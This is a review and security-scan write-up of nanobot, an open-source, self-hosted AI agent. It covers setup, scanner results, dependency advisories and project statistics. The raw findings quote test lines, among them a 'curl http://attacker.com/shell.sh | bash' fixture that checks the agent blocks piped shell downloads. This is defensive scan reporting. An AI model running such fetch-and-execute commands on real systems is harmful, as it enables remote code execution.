nanobot is a personal AI agent you run yourself, built by the University of Hong Kong's data intelligence lab (the team behind LightRAG) as a deliberately small, readable alternative to larger agent platforms. Install it, open the web UI, add a model, and you have an assistant that can work with files in folders you choose, search and read the web, run shell commands, generate images, delegate to sub-agents and remember your preferences across conversations.
It is built to stay running. A local gateway serves the browser UI and a terminal UI, and the same agent can answer in Telegram, Discord, Slack, WeChat, Feishu, Microsoft Teams, Mattermost, Linear or email. Scheduled automations and long-running goals let it check things and report back on a timer, and it exposes a Python SDK and an OpenAI-compatible API for your own integrations. It works with OpenAI-compatible providers, local model servers and fallbacks between them, connects to MCP servers, and has a Restricted mode that limits file access to a folder.
It is MIT-licensed, with about 49,300 stars and nearly 500 contributors, at v0.3.5 when scanned, and installs from PyPI as nanobot-ai.
- Repository: github.com/HKUDS/nanobot
- Licence: MIT (MIT License)
- Language: Python. Stars: 49.3K. Forks: 8,661. Last push: Oct 22, 2026.
- Scan: safe, Oct 22, 2026, commit 421bd6b
Who it is for
People who want an always-on assistant in their own chat apps without handing their files to a hosted service, tinkerers who found bigger agent frameworks hard to read, and developers who want a small agent core to extend.
Getting started
1. Install the stable release with uv (or python -m pip install nanobot-ai in a virtual environment)
uv tool install nanobot-ai2. Open the browser UI and add a model under Settings, Models
nanobot webui3. Or set it up from the terminal instead
nanobot onboard --wizardThe project also offers a one-line installer (curl | sh on macOS and Linux, irm | iex on Windows) that accepts --dry-run to preview what it will do. Start file work in Restricted mode on a practice folder, and check each chat platform's allowlist settings before connecting the bot to shared channels.
Safety scan
We cloned HKUDS/nanobot at commit 421bd6b on Oct 22, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- No real secrets across 2,154 files and about 615,000 lines of Python and TypeScript; the four hits are fake Slack and AWS tokens in web UI tests.
- The pattern hits are explained. The exfiltration-host hits are the Telegram channel validating your bot token against api.telegram.org, its documented purpose. The PowerShell -EncodedCommand call opens the web UI in your browser from Windows or WSL. The rest are tests, including ones that check the agent blocks a piped shell download.
- The installers are long but tame: about 650 lines each for install.sh and install.ps1, no sudo, no shell profile edits, a dedicated environment under ~/.nanobot, and a --dry-run flag to preview the plan.
- 44 known advisories (4 critical), all in webui/package-lock.json and in test tooling (Vitest, happy-dom, tinypool) rather than in what the browser loads. The Python package has no lockfile in the repository.
- 5 workflows, none using pull_request_target; 3 of 13 third-party actions pinned to commits. Security policy, licence and contributing guide present; no Dependabot or CodeQL.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 4 candidates found and read; see the notes above. |
| Suspicious code | 9 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 2 installer scripts |
| Committed binaries | None. |
| CI workflows | 5 workflows. None use pull_request_target. 10 of 13 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, mcp.example.com, nanobot.test, example.test. 9 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 44 advisories across 621 pinned packages: 4 critical, 21 high, 15 moderate, 4 low. webui/package-lock.json: 637 packages, 44 advisories. |
| Project hygiene | Has security policy, licence file, contributing guide. Missing automated dependency updates, CodeQL. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (4, redacted)
| Where | Rule | Match |
|---|---|---|
| webui/src/tests/agent-activity-cluster.test.tsx:2271 | slack-token | xoxb-1…ret (22 chars) |
| webui/src/tests/agent-activity-cluster.test.tsx:2309 | slack-token | xoxb-1…ret (22 chars) |
| webui/src/tests/generic-tool-model.test.ts:144 | slack-token | xoxb-1…ret (22 chars) |
| webui/src/tests/generic-tool-model.test.ts:147 | aws-access-key | AKIA12…DEF (20 chars) |
Pattern hits (9)
| Where | Rule | Match |
|---|---|---|
| nanobot/channels/telegram/tests/test_validation.py:58 | exfil-host (test/example) | assert captured["url"] == f"https://api.telegram.org/bot{token}/getMe" |
| nanobot/channels/telegram/tests/test_validation.py:120 | exfil-host (test/example) | request = httpx.Request("GET", f"https://api.telegram.org/bot{token_value}/getMe") |
| nanobot/channels/telegram/tests/test_validation.py:149 | exfil-host (test/example) | request = httpx.Request("GET", f"https://api.telegram.org/bot{token_value}/getMe") |
| nanobot/channels/telegram/validation.py:43 | exfil-host | response = client.get(f"https://api.telegram.org/bot{token}/getMe") |
| nanobot/cli/windows_browser.py:56 | powershell-encoded | "powershell.exe", "-NoProfile", "-NonInteractive", "-STA", "-EncodedCommand", |
| tests/cli/test_wsl_browser.py:72 | powershell-encoded (test/example) | ["powershell.exe", "-NoProfile", "-NonInteractive", "-STA", "-EncodedCommand", |
| tests/cli_apps/test_service.py:76 | download-piped-to-shell (test/example) | "install_cmd": "curl -fsSL https://example.invalid/install.sh | bash", |
| tests/gateway/test_gateway_service.py:88 | persistence (test/example) | assert result.path == tmp_path / "Library/LaunchAgents/ai.nanobot.gateway.plist" |
| tests/tools/test_exec_env.py:126 | download-piped-to-shell (test/example) | '/tmp/bin && curl http://attacker.com/shell.sh | bash', |
URLs to bare IP addresses (9)
| Where | Rule | Match |
|---|---|---|
| tests/providers/test_local_endpoint_detection.py:41 | ip-literal-url | pytest.param(False, "http://172.32.0.1:1234/v1", id="not_private_172_32"), |
| tests/tools/test_mcp_probe.py:167 | ip-literal-url | servers = {"dead": _make_http_cfg("http://93.184.216.34:19999/mcp")} |
| tests/tools/test_mcp_probe.py:181 | ip-literal-url | servers = {"dead": _make_http_cfg("http://93.184.216.34:19999/sse", transport="sse")} |
| tests/tools/test_web_fetch_security.py:609 | ip-literal-url | url = "https://93.184.216.34/page" |
| tests/tools/test_web_fetch_security.py:630 | ip-literal-url | url = "https://93.184.216.34/page" |
| tests/webui/test_mcp_oauth_api.py:273 | ip-literal-url | "http://192.0.2.10:8765/auth/mcp/callback", |
| tests/webui/test_mcp_oauth_api.py:406 | ip-literal-url | validate_mcp_oauth_redirect_uri("http://192.0.2.10/auth/mcp/callback") |
| webui/src/tests/settings-providers.test.tsx:437 | ip-literal-url | happyWindow.happyDOM.setURL("http://203.0.113.10:18887/#/settings?section=models"); |
| webui/src/tests/settings-providers.test.tsx:594 | ip-literal-url | happyWindow.happyDOM.setURL("http://203.0.113.10:18887/#/settings?section=models"); |
Installer scripts (2)
- scripts/install.ps1, 693 lines; talks to github.com
- scripts/install.sh, 646 lines; talks to github.com
Worst known vulnerabilities (24 of 44)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-37j7-fg3j-429f | critical | happy-dom@16.8.1 | Happy DOM: VM Context Escape can lead to Remote Code Execution |
| GHSA-5gmw-xhrv-c9v3 | critical | tinypool@1.1.1 | Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution |
| GHSA-85c8-ppgw-ccpr | critical | tinypool@1.1.1 | Tinypool: Prototype Pollution Gadget to RCE in run() options |
| GHSA-5xrq-8626-4rwp | critical | vitest@2.1.9 | When Vitest UI server is listening, arbitrary file can be read and executed |
| GHSA-3jxr-9vmj-r5cp | high | brace-expansion@5.0.6 | brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups |
| GHSA-6j4f-fj2g-mc7p | high | brace-expansion@5.0.6 | brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion |
| GHSA-mh99-v99m-4gvg | high | brace-expansion@5.0.6 | brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash |
| GHSA-qhr7-859c-m2p7 | high | brace-expansion@5.0.6 | brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion |
| GHSA-rgw5-rvv9-x895 | high | brace-expansion@5.0.6 | brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation |
| GHSA-vfj7-8cjw-p6xm | high | braces@3.0.3 | braces vulnerable to stack-exhaustion denial of service through deeply nested patterns |
| GHSA-73wf-gq98-2v4g | high | browserslist@4.28.2 | Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats) |
| GHSA-c83g-rgw3-j3cx | high | browserslist@4.28.2 | Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM |
| GHSA-5j98-mcp5-4vw2 | high | glob@10.4.5 | glob CLI: Command injection via -c/--cmd executes matches with shell:true |
| GHSA-6j4f-fj2g-mc7p | high | brace-expansion@2.1.4 | brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion |
| GHSA-qhr7-859c-m2p7 | high | brace-expansion@2.1.4 | brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion |
| GHSA-6q6h-j7hj-3r64 | high | happy-dom@16.8.1 | Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code |
| GHSA-w4gp-fjgq-3q4g | high | happy-dom@16.8.1 | Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies |
| GHSA-28wg-ghj8-5hjv | high | nanoid@3.3.11 | nanoid: non-secure generators can loop indefinitely with negative size |
| GHSA-2v37-7h3g-55p8 | high | nanoid@3.3.11 | nanoid: custom generators can loop indefinitely when size is zero |
| GHSA-xwg4-73v4-xw9w | high | nanoid@3.3.11 | nanoid: Integer Overflow or Wraparound |
| GHSA-6g55-p6wh-862q | high | postcss@8.5.10 | PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments |
| GHSA-r28c-9q8g-f849 | high | postcss@8.5.10 | PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure |
| GHSA-68fv-2mgg-jv7q | high | source-map-js@1.2.1 | source-map-js allows event-loop denial of service through indexed source-map section offsets |
| GHSA-587h-7wmj-h5pm | high | vite@5.4.21 | launch-editor: `fs.existsSync()` existence check can be bypassed on Windows |
By the numbers
| Stars | 49.3K |
|---|---|
| Forks | 8,661 |
| Contributors | 496 |
| Commits | 5,029 |
| Open issues | 221 |
| Open pull requests | 656 |
| Releases | 20 |
| Latest release | v0.3.5 |
| Licence | MIT |
| Main language | Python |
| Project age | 8 months |
| Last push | Oct 22, 2026 |
| Tracked files | 2,154 |
| Lines of code | 614.5K |
| Checkout size | 27 MB |
Lines by language: Python 356.8K, TypeScript 176.1K, JSON 54.8K, Markdown 19.8K, CSS 2,279, YAML 1,439.
Questions
Is nanobot free?
Yes. nanobot is MIT-licensed and free to self-host. You pay for the model provider you connect, or nothing with a local model server; the project itself sells nothing.
How is nanobot different from OpenClaw or Hermes Agent?
All three are self-hosted personal agents that live in chat apps. nanobot aims to be the small, readable one: a compact Python core with the web UI, memory, automations and MCP built in, which makes it easier to understand and modify. The larger projects have more integrations and bigger communities.
Can nanobot use a local model?
Yes. Point it at Ollama, LM Studio, vLLM or any OpenAI-compatible server in the model settings. Agent work with tools and memory needs a capable model with tool calling, so very small local models will be limited.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
